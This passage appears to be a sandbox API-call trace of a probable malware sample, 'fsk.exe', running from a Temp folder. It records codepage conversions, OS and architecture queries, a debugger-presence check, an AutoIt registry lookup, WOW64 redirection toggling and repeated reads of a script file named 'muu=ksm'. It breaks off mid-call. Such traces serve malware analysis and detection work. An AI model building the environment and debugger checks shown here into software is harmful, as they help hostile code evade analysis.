lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x04\xbf\x78\x4a\x04\xfa\x7a", lpUsedDefaultChar=0x0) returned 256 [0071.535] GetLastError () returned 0x0 [0071.535] SetLastError (dwErrCode=0x0) [0071.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7af8c8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0071.535] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x7af8c8, cbMultiByte=256, lpWideCharStr=0x7af218, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0071.535] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0071.535] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x7af008, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0071.535] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x7af6c8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x04\xbf\x78\x4a\x04\xfa\x7a", lpUsedDefaultChar=0x0) returned 256 [0071.535] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0071.535] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1174cfc) returned 0x0 [0071.536] GetVersionExW (in: lpVersionInformation=0x7af8e0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x1f1e1d1c, dwMinorVersion=0x23222120, dwBuildNumber=0x27262524, dwPlatformId=0xb1000f, szCSDVersion="\x04") | out: lpVersionInformation=0x7af8e0*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0071.537] GetCurrentProcess () returned 0xffffffff [0071.537] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x7afa30 | out: Wow64Process=0x7afa30) returned 1 [0071.537] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0071.537] GetProcAddress (hModule=0x76540000, lpProcName="GetNativeSystemInfo") returned 0x765610b5 [0071.537] GetNativeSystemInfo (in: lpSystemInfo=0x7af9fc | out: lpSystemInfo=0x7af9fc*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0071.537] FreeLibrary (hLibModule=0x76540000) returned 1 [0071.538] MapVirtualKeyW (uCode=0x5b, uMapType=0x0) returned 0x5b [0071.538] MapVirtualKeyW (uCode=0x10, uMapType=0x0) returned 0x2a [0071.538] MapVirtualKeyW (uCode=0xa0, uMapType=0x0) returned 0x2a [0071.538] MapVirtualKeyW (uCode=0xa1, uMapType=0x0) returned 0x36 [0071.538] MapVirtualKeyW (uCode=0x11, uMapType=0x0) returned 0x1d [0071.538] MapVirtualKeyW (uCode=0x12, uMapType=0x0) returned 0x38 [0071.539] RegisterClipboardFormatW (lpszFormat="WM_GETCONTROLNAME") returned 0xc1a6 [0071.541] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0071.541] OleInitialize (pvReserved=0x0) returned 0x0 [0071.546] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Control Panel\\Mouse", ulOptions=0x0, samDesired=0x1, phkResult=0x7afa04 | out: phkResult=0x7afa04*=0xf8) returned 0x0 [0071.546] RegQueryValueExW (in: hKey=0xf8, lpValueName="SwapMouseButtons", lpReserved=0x0, lpType=0x0, lpData=0x7afa20, lpcbData=0x7afa08*=0x8 | out: lpType=0x0, lpData=0x7afa20*=0x30, lpcbData=0x7afa08*=0x4) returned 0x0 [0071.546] RegCloseKey (hKey=0xf8) returned 0x0 [0071.549] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x78f9d8, nSize=0x7fff | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\fsk.exe")) returned 0x35 [0071.550] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", nBufferLength=0x7fff, lpBuffer=0x77f9c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpFilePart=0x0) returned 0x35 [0071.550] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", nBufferLength=0x7fff, lpBuffer=0x78f9e4, lpFilePart=0x79f9e4 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\fsk.exe", lpFilePart=0x79f9e4*="fsk.exe") returned 0x35 [0071.550] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\AutoIt v3\\AutoIt", ulOptions=0x0, samDesired=0x1, phkResult=0x79fa00 | out: phkResult=0x79fa00*=0x0) returned 0x2 [0071.551] IsThemeActive () returned 0x1 [0071.551] SystemParametersInfoW (in: uiAction=0x2000, uiParam=0x0, pvParam=0x7afa24, fWinIni=0x0 | out: pvParam=0x7afa24) returned 1 [0071.551] SystemParametersInfoW (in: uiAction=0x2001, uiParam=0x0, pvParam=0x0, fWinIni=0x2 | out: pvParam=0x0) returned 1 [0071.551] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x79f9f8 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.552] IsDebuggerPresent () returned 0 [0071.553] GetFullPathNameW (in: lpFileName="muu=ksm", nBufferLength=0x7fff, lpBuffer=0x76f968, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", lpFilePart=0x0) returned 0x35 [0071.553] GetLongPathNameW (in: lpszShortPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", lpszLongPath=0x76f968, cchBuffer=0x7fff | out: lpszLongPath="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm") returned 0x35 [0071.554] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", nBufferLength=0x7fff, lpBuffer=0x76f938, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", lpFilePart=0x0) returned 0x35 [0071.554] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0071.554] GetProcAddress (hModule=0x76540000, lpProcName=0x11f7fd0) returned 0x7656d650 [0071.554] Wow64DisableWow64FsRedirection (in: OldValue=0x77f8d4 | out: OldValue=0x77f8d4*=0x0) returned 1 [0071.554] FreeLibrary (hLibModule=0x76540000) returned 1 [0071.555] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x77f770, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0071.555] GetFileType (hFile=0xf8) returned 0x1 [0071.555] LoadLibraryExW (lpLibFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", hFile=0x0, dwFlags=0x2) returned 0x0 [0071.557] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0071.557] GetProcAddress (hModule=0x76540000, lpProcName=0x11f7ff0) returned 0x7656d668 [0071.557] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0071.557] FreeLibrary (hLibModule=0x76540000) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e78c | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e784 | out: lpNewFilePointer=0x0) returned 1 [0071.558] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0x10000, lpOverlapped=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e75c | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e754 | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f79c | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0xffec, lpNewFilePointer=0x0, dwMoveMethod=0x77f794 | out: lpNewFilePointer=0x0) returned 1 [0071.558] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0x10000, lpOverlapped=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e75c | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e754 | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f79c | out: lpNewFilePointer=0x0) returned 1 [0071.558] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x1ffd8, lpNewFilePointer=0x0, dwMoveMethod=0x77f794 | out: lpNewFilePointer=0x0) returned 1 [0071.559] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0xd6bf, lpOverlapped=0x0) returned 1 [0071.559] ReadFile (in: hFile=0xf8, lpBuffer=0x818cd7, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x818cd7*, lpNumberOfBytesRead=0x77f79c*=0x0, lpOverlapped=0x0) returned 1 [0071.559] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e75c | out: lpNewFilePointer=0x0) returned 1 [0071.559] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e754 | out: lpNewFilePointer=0x0) returned 1 [0071.559] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f79c | out: lpNewFilePointer=0x0) returned 1 [0071.559] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x2d683, lpNewFilePointer=0x0, dwMoveMethod=0x77f794 | out: lpNewFilePointer=0x0) returned 1 [0071.559] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0x14, lpOverlapped=0x0) returned 1 [0071.559] ReadFile (in: hFile=0xf8, lpBuffer=0x80b62c, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b62c*, lpNumberOfBytesRead=0x77f79c*=0x0, lpOverlapped=0x0) returned 1 [0071.559] CloseHandle (hObject=0xf8) returned 1 [0071.559] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0071.559] GetProcAddress (hModule=0x76540000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7656d650 [0071.559] Wow64DisableWow64FsRedirection (in: OldValue=0x77f8d4 | out: OldValue=0x77f8d4*=0x0) returned 1 [0071.560] FreeLibrary (hLibModule=0x76540000) returned 1 [0071.560] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\muu=ksm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x77f770, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf8 [0071.560] GetFileType (hFile=0xf8) returned 0x1 [0071.560] LoadLibraryExW (lpLibFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", hFile=0x0, dwFlags=0x2) returned 0x0 [0071.561] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76540000 [0071.561] GetProcAddress (hModule=0x76540000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x7656d668 [0071.561] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0071.561] FreeLibrary (hLibModule=0x76540000) returned 1 [0071.561] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e78c | out: lpNewFilePointer=0x0) returned 1 [0071.561] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e784 | out: lpNewFilePointer=0x0) returned 1 [0071.561] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0x10000, lpOverlapped=0x0) returned 1 [0071.561] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e75c | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e754 | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f79c | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0xffec, lpNewFilePointer=0x0, dwMoveMethod=0x77f794 | out: lpNewFilePointer=0x0) returned 1 [0071.562] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f79c, lpOverlapped=0x0 | out: lpBuffer=0x80b618*, lpNumberOfBytesRead=0x77f79c*=0x10000, lpOverlapped=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e75c | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77e754 | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f79c | out: lpNewFilePointer=0x0) returned 1 [0071.562] SetFilePointerEx (in: hFile=0xf8, liDistanceToMove=0x1ffd8, lpNewFilePointer=0x0, dwMoveMethod=0x77f794 | out: lpNewFilePointer=0x0) returned 1 [0071.562] ReadFile (in: hFile=0xf8, lpBuffer=0x80b618, 